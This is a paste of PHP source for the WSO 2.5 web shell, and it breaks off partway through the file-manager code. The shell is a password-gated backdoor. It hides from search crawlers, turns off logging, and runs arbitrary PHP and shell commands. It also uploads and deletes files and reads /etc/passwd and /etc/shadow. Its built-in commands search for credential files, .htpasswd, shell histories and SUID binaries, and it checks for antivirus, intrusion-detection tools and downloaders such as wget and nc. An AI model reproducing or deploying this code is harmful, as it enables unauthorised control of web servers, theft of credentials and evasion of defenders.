· 9 years ago · Apr 26, 2017, 04:02 PM
1
2<?php ?><?php
3$auth_pass = "a23943a5edc56f796ea1aeeb57f78dd4";
4$color = "#df5";
5$default_action = 'FilesMan';
6$default_use_ajax = true;
7$default_charset = 'Windows-1251';
8if (!empty($_SERVER['HTTP_USER_AGENT'])) {
9 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
10 if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
11 header('HTTP/1.0 404 Not Found');
12 exit;
13 }
14}
15@ini_set('error_log', NULL);
16@ini_set('log_errors', 0);
17@ini_set('max_execution_time', 0);
18@set_time_limit(0);
19@set_magic_quotes_runtime(0);
20@define('WSO_VERSION', '2.5');
21if (get_magic_quotes_gpc()) {
22 function WSOstripslashes($array) {
23 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
24 }
25 $_POST = WSOstripslashes($_POST);
26 $_COOKIE = WSOstripslashes($_COOKIE);
27}
28function wsoLogin() {
29 die("<pre align=center><form method=post> <input type=password name=pass><input type=submit value='>>'></form></pre>");
30}
31function WSOsetcookie($k, $v) {
32 $_COOKIE[$k] = $v;
33 setcookie($k, $v);
34}
35if (!empty($auth_pass)) {
36 if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
37 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || ($_COOKIE[md5($_SERVER['HTTP_HOST']) ] != $auth_pass)) wsoLogin();
38}
39if (strtolower(substr(PHP_OS, 0, 3)) == "win") $os = 'win';
40else $os = 'nix';
41$safe_mode = @ini_get('safe_mode');
42if (!$safe_mode) error_reporting(0);
43$disable_functions = @ini_get('disable_functions');
44$home_cwd = @getcwd();
45if (isset($_POST['c'])) @chdir($_POST['c']);
46$cwd = @getcwd();
47if ($os == 'win') {
48 $home_cwd = str_replace("\", " / ", $home_cwd);
49 $cwd = str_replace("\", " / ", $cwd);
50}
51if($cwd[strlen($cwd) - 1] != '/')
52 $cwd .= '/';
53
54if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
55 $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
56
57if($os == 'win')
58 $aliases = array(
59 "ListDirectory" => "dir",
60 "Findindex . phpincurrentdir" => "dir / s / w / bindex . php",
61 "Find * config * . phpincurrentdir" => "dir / s / w / b * config * . php",
62 "Showactiveconnections" => "netstat - an",
63 "Showrunningservices" => "netstart",
64 "Useraccounts" => "netuser",
65 "Showcomputers" => "netview",
66 "ARPTable" => "arp - a",
67 "IPConfiguration" => "ipconfig / all"
68 );
69else
70 $aliases = array(
71 "Listdir" => "ls - lha",
72 "listfileattributesonaLinuxsecondextendedfilesystem" => "lsattr - va",
73 "showopenedports" => "netstat - an | grep - ilisten",
74 "processstatus" => "psaux",
75 "Find" => "",
76 "findallsuidfiles" => "find / -typef - perm - 04000 - ls",
77 "findsuidfilesincurrentdir" => "find . -typef - perm - 04000 - ls",
78 "findallsgidfiles" => "find / -typef - perm - 02000 - ls",
79 "findsgidfilesincurrentdir" => "find . -typef - perm - 02000 - ls",
80 "findconfig . inc . phpfiles" => "find / -typef - nameconfig . inc . php",
81 "findconfig * files" => "find / -typef - name\"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
82 function wsoHeader() {
83 if (empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset'];
84 global $color;
85 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title>
86<style>
87body{background-color:#444;color:#e1e1e1;}
88body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
89table.info{ color:#fff;background-color:#222; }
90span,h1,a{ color: $color !important; }
91span{ font-weight: bolder; }
92h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
93div.content{ padding: 5px;margin-left:5px;background-color:#333; }
94a{ text-decoration:none; }
95a:hover{ text-decoration:underline; }
96.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
97.bigarea{ width:100%;height:300px; }
98input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
99form{ margin:0px; }
100#toolsTbl{ text-align:center; }
101.toolsInp{ width: 300px }
102.main th{text-align:left;background-color:#5e5e5e;}
103.main tr:hover{background-color:#5e5e5e}
104.l1{background-color:#444}
105.l2{background-color:#333}
106pre{font-family:Courier,Monospace;}
107</style>
108<script>
109 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
110 var a_ = '" . htmlspecialchars(@$_POST['a']) . "'
111 var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';
112 var p1_ = '" . ((strpos(@$_POST['p1'], "
113") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';
114 var p2_ = '" . ((strpos(@$_POST['p2'], "
115") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';
116 var p3_ = '" . ((strpos(@$_POST['p3'], "
117") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';
118 var d = document;
119 function set(a,c,p1,p2,p3,charset) {
120 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
121 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
122 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
123 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
124 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
125 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
126 }
127 function g(a,c,p1,p2,p3,charset) {
128 set(a,c,p1,p2,p3,charset);
129 d.mf.submit();
130 }
131 function a(a,c,p1,p2,p3,charset) {
132 set(a,c,p1,p2,p3,charset);
133 var params = 'ajax=true';
134 for(i=0;i<d.mf.elements.length;i++)
135 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
136 sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
137 }
138 function sr(url, params) {
139 if (window.XMLHttpRequest)
140 req = new XMLHttpRequest();
141 else if (window.ActiveXObject)
142 req = new ActiveXObject('Microsoft.XMLHTTP');
143 if (req) {
144 req.onreadystatechange = processReqChange;
145 req.open('POST', url, true);
146 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
147 req.send(params);
148 }
149 }
150 function processReqChange() {
151 if( (req.readyState == 4) )
152 if(req.status == 200) {
153 var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
154 var arr=reg.exec(req.responseText);
155 eval(arr[2].substr(0, arr[1]));
156 } else alert('Request error!');
157 }
158</script>
159<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
160<form method=post name=mf style='display:none;'>
161<input type=hidden name=a>
162<input type=hidden name=c>
163<input type=hidden name=p1>
164<input type=hidden name=p2>
165<input type=hidden name=p3>
166<input type=hidden name=charset>
167</form>";
168 $freeSpace = @diskfreespace($GLOBALS['cwd']);
169 $totalSpace = @disk_total_space($GLOBALS['cwd']);
170 $totalSpace = $totalSpace ? $totalSpace : 1;
171 $release = @php_uname('r');
172 $kernel = @php_uname('s');
173 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
174 if (strpos('Linux', $kernel) !== false) $explink.= urlencode('Linux Kernel ' . substr($release, 0, 6));
175 else $explink.= urlencode($kernel . ' ' . substr($release, 0, 3));
176 if (!function_exists('posix_getegid')) {
177 $user = @get_current_user();
178 $uid = @getmyuid();
179 $gid = @getmygid();
180 $group = "?";
181 } else {
182 $uid = @posix_getpwuid(posix_geteuid());
183 $gid = @posix_getgrgid(posix_getegid());
184 $user = $uid['name'];
185 $uid = $uid['uid'];
186 $group = $gid['name'];
187 $gid = $gid['gid'];
188 }
189 $cwd_links = '';
190 $path = explode("/", $GLOBALS['cwd']);
191 $n = count($path);
192 for ($i = 0;$i < $n - 1;$i++) {
193 $cwd_links.= "<a href='#' onclick='g(\"FilesMan\",\"";
194 for ($j = 0;$j <= $i;$j++) $cwd_links.= $path[$j] . '/';
195 $cwd_links.= "\")'>" . $path[$i] . "/</a>";
196 }
197 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
198 $opt_charsets = '';
199 foreach ($charsets as $item) $opt_charsets.= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
200 $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Sql' => 'Sql', 'Php' => 'Php', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
201 if (!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout';
202 $m['Self remove'] = 'SelfRemove';
203 $menu = '';
204 foreach ($m as $k => $v) $menu.= '<th width="' . (int)(100 / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
205 $drives = "";
206 if ($GLOBALS['os'] == 'win') {
207 foreach (range('c', 'z') as $drive) if (is_dir($drive . ':\'))
208 $drives .= ' < ahref = "#"onclick = "g(\'FilesMan\',\''.$drive.':/\')" > ['.$drive.'] < / a > ';
209 }
210 echo ' < tableclass = infocellpadding = 3cellspacing = 0width = 100 % > < tr > < tdwidth = 1 > < span > Uname: < br > User: < br > Php: < br > Hdd: < br > Cwd:
211 ' . ($GLOBALS['os'] == 'win'?' < br > Drives:
212 ':'') . ' < / span > < / td > '
213 . ' < td > < nobr > ' . substr(@php_uname(), 0, 120) . ' < ahref = "' . $explink . '"target = _blank > [exploit - db . com] < / a > < / nobr > < br > ' . $uid . '(' . $user . ') < span > Group: < / span > ' . $gid . '(' . $group . ') < br > ' . @phpversion() . ' < span > Safemode: < / span > ' . ($GLOBALS['safe_mode']?' < fontcolor = red > ON < / font > ':' < fontcolor = green > < b > OFF < / b > < / font > ')
214 . ' < ahref = # onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
215 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
216 }
217 function wsoFooter() {
218 $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
219 echo "
220</div>
221<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
222 <tr>
223 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td>
224 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
225 </tr><tr>
226 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
227 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
228 </tr><tr>
229 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
230 <td><form method='post' ENCTYPE='multipart/form-data'>
231 <input type=hidden name=a value='FilesMAn'>
232 <input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>
233 <input type=hidden name=p1 value='uploadFile'>
234 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
235 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
236 </tr></table></div></body></html>";
237 }
238 if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) {
239 function posix_getpwuid($p) {
240 return false;
241 }
242 }
243 if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) {
244 function posix_getgrgid($p) {
245 return false;
246 }
247 }
248 function wsoEx($in) {
249 $out = '';
250 if (function_exists('exec')) {
251 @exec($in, $out);
252 $out = @join("
253", $out);
254 } elseif (function_exists('passthru')) {
255 ob_start();
256 @passthru($in);
257 $out = ob_get_clean();
258 } elseif (function_exists('system')) {
259 ob_start();
260 @system($in);
261 $out = ob_get_clean();
262 } elseif (function_exists('shell_exec')) {
263 $out = shell_exec($in);
264 } elseif (is_resource($f = @popen($in, "r"))) {
265 $out = "";
266 while (!@feof($f)) $out.= fread($f, 1024);
267 pclose($f);
268 }
269 return $out;
270 }
271 function wsoViewSize($s) {
272 if (is_int($s)) $s = sprintf("%u", $s);
273 if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB';
274 elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB';
275 elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB';
276 else return $s . ' B';
277 }
278 function wsoPerms($p) {
279 if (($p & 0xC000) == 0xC000) $i = 's';
280 elseif (($p & 0xA000) == 0xA000) $i = 'l';
281 elseif (($p & 0x8000) == 0x8000) $i = '-';
282 elseif (($p & 0x6000) == 0x6000) $i = 'b';
283 elseif (($p & 0x4000) == 0x4000) $i = 'd';
284 elseif (($p & 0x2000) == 0x2000) $i = 'c';
285 elseif (($p & 0x1000) == 0x1000) $i = 'p';
286 else $i = 'u';
287 $i.= (($p & 0x0100) ? 'r' : '-');
288 $i.= (($p & 0x0080) ? 'w' : '-');
289 $i.= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
290 $i.= (($p & 0x0020) ? 'r' : '-');
291 $i.= (($p & 0x0010) ? 'w' : '-');
292 $i.= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
293 $i.= (($p & 0x0004) ? 'r' : '-');
294 $i.= (($p & 0x0002) ? 'w' : '-');
295 $i.= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
296 return $i;
297 }
298 function wsoPermsColor($f) {
299 if (!@is_readable($f)) return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
300 elseif (!@is_writable($f)) return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
301 else return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
302 }
303 function wsoScandir($dir) {
304 if (function_exists("scandir")) {
305 return scandir($dir);
306 } else {
307 $dh = opendir($dir);
308 while (false !== ($filename = readdir($dh))) $files[] = $filename;
309 return $files;
310 }
311 }
312 function wsoWhich($p) {
313 $path = wsoEx('which ' . $p);
314 if (!empty($path)) return $path;
315 return false;
316 }
317 function actionSecInfo() {
318 wsoHeader();
319 echo '<h1>Server security information</h1><div class=content>';
320 function wsoSecParam($n, $v) {
321 $v = trim($v);
322 if ($v) {
323 echo '<span>' . $n . ': </span>';
324 if (strpos($v, "
325") === false) echo $v . '<br>';
326 else echo '<pre class=ml1>' . $v . '</pre>';
327 }
328 }
329 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
330 if (function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
331 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
332 wsoSecParam('Open base dir', @ini_get('open_basedir'));
333 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
334 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
335 wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
336 $temp = array();
337 if (function_exists('mysql_get_client_info')) $temp[] = "MySql (" . mysql_get_client_info() . ")";
338 if (function_exists('mssql_connect')) $temp[] = "MSSQL";
339 if (function_exists('pg_connect')) $temp[] = "PostgreSQL";
340 if (function_exists('oci_connect')) $temp[] = "Oracle";
341 wsoSecParam('Supported databases', implode(', ', $temp));
342 echo '<br>';
343 if ($GLOBALS['os'] == 'nix') {
344 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
345 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
346 wsoSecParam('OS version', @file_get_contents('/proc/version'));
347 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
348 if (!$GLOBALS['safe_mode']) {
349 $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
350 $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
351 $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
352 echo '<br>';
353 $temp = array();
354 foreach ($userful as $item) if (wsoWhich($item)) $temp[] = $item;
355 wsoSecParam('Userful', implode(', ', $temp));
356 $temp = array();
357 foreach ($danger as $item) if (wsoWhich($item)) $temp[] = $item;
358 wsoSecParam('Danger', implode(', ', $temp));
359 $temp = array();
360 foreach ($downloaders as $item) if (wsoWhich($item)) $temp[] = $item;
361 wsoSecParam('Downloaders', implode(', ', $temp));
362 echo '<br/>';
363 wsoSecParam('HDD space', wsoEx('df -h'));
364 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
365 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
366 if (isset($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
367 $temp = "";
368 for (;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
369 $uid = @posix_getpwuid($_POST['p2']);
370 if ($uid) $temp.= join(':', $uid) . "
371";
372 }
373 echo '<br/>';
374 wsoSecParam('Users', $temp);
375 }
376 }
377 } else {
378 wsoSecParam('OS Version', wsoEx('ver'));
379 wsoSecParam('Account Settings', wsoEx('net accounts'));
380 wsoSecParam('User Accounts', wsoEx('net user'));
381 }
382 echo '</div>';
383 wsoFooter();
384 }
385 function actionPhp() {
386 if (isset($_POST['ajax'])) {
387 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
388 ob_start();
389 eval($_POST['p1']);
390 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
391
392 \'") . "';
393";
394 echo strlen($temp), "
395", $temp;
396 exit;
397 }
398 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
399 wsoHeader();
400 if (isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
401 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
402 ob_start();
403 phpinfo();
404 $tmp = ob_get_clean();
405 $tmp = preg_replace(array('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', '!td, th {(.*)}!msiU', '!<img[^>]+>!msiU',), array('', '.e, .v, .h, .h th {$1}', ''), $tmp);
406 echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
407 }
408 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
409 echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
410 if (!empty($_POST['p1'])) {
411 ob_start();
412 eval($_POST['p1']);
413 echo htmlspecialchars(ob_get_clean());
414 }
415 echo '</pre></div>';
416 wsoFooter();
417 }
418 function actionFilesMan() {
419 if (!empty($_COOKIE['f'])) $_COOKIE['f'] = @unserialize($_COOKIE['f']);
420 if (!empty($_POST['p1'])) {
421 switch ($_POST['p1']) {
422 case 'uploadFile':
423 if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!";
424 break;
425 case 'mkdir':
426 if (!@mkdir($_POST['p2'])) echo "Can't create new dir";
427 break;
428 case 'delete':
429 function deleteDir($path) {
430 $path = (substr($path, -1) == '/') ? $path : $path . '/';
431 $dh = opendir($path);
432 while (($item = readdir($dh)) !== false) {
433 $item = $path . $item;
434 if ((basename($item) == "..") || (basename($item) == ".")) continue;
435 $type = filetype($item);
436 if ($type == "dir") deleteDir($item);
437 else @unlink($item);
438 }
439 closedir($dh);
440 @rmdir($path);
441 }
442 if (is_array(@$_POST['f'])) foreach ($_POST['f'] as $f) {
443 if ($f == '..') continue;
444 $f = urldecode($f);
445 if (is_dir($f)) deleteDir($f);
446 else @unlink($f);
447 }
448 break;
449 case 'paste':
450 if ($_COOKIE['act'] == 'copy') {
451 function copy_paste($c, $s, $d) {
452 if (is_dir($c . $s)) {
453 mkdir($d . $s);
454 $h = @opendir($c . $s);
455 while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
456 } elseif (is_file($c . $s)) @copy($c . $s, $d . $s);
457 }
458 foreach ($_COOKIE['f'] as $f) copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
459 } elseif ($_COOKIE['act'] == 'move') {
460 function move_paste($c, $s, $d) {
461 if (is_dir($c . $s)) {
462 mkdir($d . $s);
463 $h = @opendir($c . $s);
464 while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
465 } elseif (@is_file($c . $s)) @copy($c . $s, $d . $s);
466 }
467 foreach ($_COOKIE['f'] as $f) @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
468 } elseif ($_COOKIE['act'] == 'zip') {
469 if (class_exists('ZipArchive')) {
470 $zip = new ZipArchive();
471 if ($zip->open($_POST['p2'], 1)) {
472 chdir($_COOKIE['c']);
473 foreach ($_COOKIE['f'] as $f) {
474 if ($f == '..') continue;
475 if (@is_file($_COOKIE['c'] . $f)) $zip->addFile($_COOKIE['c'] . $f, $f);
476 elseif (@is_dir($_COOKIE['c'] . $f)) {
477 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
478 foreach ($iterator as $key => $value) {
479 $zip->addFile(realpath($key), $key);
480 }
481 }
482 }
483 chdir($GLOBALS['cwd']);
484 $zip->close();
485 }
486 }
487 } elseif ($_COOKIE['act'] == 'unzip') {
488 if (class_exists('ZipArchive')) {
489 $zip = new ZipArchive();
490 foreach ($_COOKIE['f'] as $f) {
491 if ($zip->open($_COOKIE['c'] . $f)) {
492 $zip->extractTo($GLOBALS['cwd']);
493 $zip->close();
494 }
495 }
496 }
497 } elseif ($_COOKIE['act'] == 'tar') {
498 chdir($_COOKIE['c']);
499 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
500 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
501 chdir($GLOBALS['cwd']);
502 }
503 unset($_COOKIE['f']);
504 setcookie('f', '', time() - 3600);
505 break;
506 default:
507 if (!empty($_POST['p1'])) {
508 WSOsetcookie('act', $_POST['p1']);
509 WSOsetcookie('f', serialize(@$_POST['f']));
510 WSOsetcookie('c', @$_POST['c']);
511 }
512 break;
513 }
514 }
515 wsoHeader();
516 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
517 $dirContent = wsoScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
518 if ($dirContent === false) {
519 echo 'Can\'t open this folder!';
520 wsoFooter();
521 return;
522 }
523 global $sort;
524 $sort = array('name', 1);
525 if (!empty($_POST['p1'])) {
526 if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array($match[1], (int)$match[2]);
527 }
528 echo "<script>
529 function sa() {
530 for(i=0;i<d.files.elements.length;i++)
531 if(d.files.elements[i].type == 'checkbox')
532 d.files.elements[i].checked = d.files.elements[0].checked;
533 }
534</script>
535<table width='100%' class='main' cellspacing='0' cellpadding='2'>
536<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
537 $dirs = $files = array();
538 $n = count($dirContent);
539 for ($i = 0;$i < $n;$i++) {
540 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
541 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
542 $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
543 if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array('type' => 'file'));
544 elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
545 elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'dir'));
546 }
547 $GLOBALS['sort'] = $sort;
548 function wsoCmp($a, $b) {
